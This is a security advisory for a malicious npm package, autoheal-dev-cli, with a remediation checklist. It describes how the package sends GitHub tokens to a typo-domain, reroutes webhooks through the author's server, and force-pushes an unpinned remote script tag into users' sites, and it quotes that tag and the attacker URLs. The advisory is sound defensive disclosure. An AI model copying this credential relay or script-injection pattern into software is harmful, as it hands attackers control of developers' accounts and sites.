MAL-2026-4492 Malicious code in autoheal-dev-cli (npm)
Malicious package
Published
MAL-2026-4492 is a malicious package: autoheal-dev-cli (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4492/ (Markdown: https://insights.sbomify.com/MAL-2026-4492/index.md)
- Package
- autoheal-dev-cli
- Registry
- npm
What is MAL-2026-4492?
MAL-2026-4492 is a malicious package in autoheal-dev-cli, published on 21 May 2026.
Official description
autoheal-dev-cli is a setup wizard (
bin/setup.js) that, when run, performs three installer-harm actions against the developer running it: (1) syncConfigToServer() POSTs the user's GitHub Personal Access Token (with repo + user:email scopes), Vercel deploy hook URL, GitHub repo/branch, and n8n webhook to the hardcoded URL https://auomation.vercel.app/api/settings (note the misspelled auomation vs automation); the destination is not user-configurable. A holder of that endpoint can push code to every user's GitHub repos. (2) Despite the README presenting a choice to use the user's own n8n instance, the code unconditionally sets useSharedBridge = true and overwrites n8nWebhook to https://creativekulhad.onrender.com/webhook/autoheal-patch-handler, routing every patch dispatch from every user through the author's Render server. (3) The wizard rewrites the user's index.html to add <script src="https://auomation.vercel.app/autoheal.js"></script> with no SRI or version pinning, then git push --forces and triggers a Vercel deploy — so every visitor to the user's production site fetches and executes mutable JavaScript served from the author's domain in the user's origin. Additionally, the user's GitHub PAT is embedded directly into the git remote URL (https://<token>@github.com/...) and persisted in the local .git/config, and the wizard force-pushes without confirmation. The combination of silent relay of credentials to a typo-domain, forced routing of all generated patches through author infrastructure, and unpinned remote-script injection into the user's deployed site is a multi-channel installer-harm pattern that gives the publisher persistent control over both the developer's GitHub account and any site deployed through this wizard.What should I do about MAL-2026-4492?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.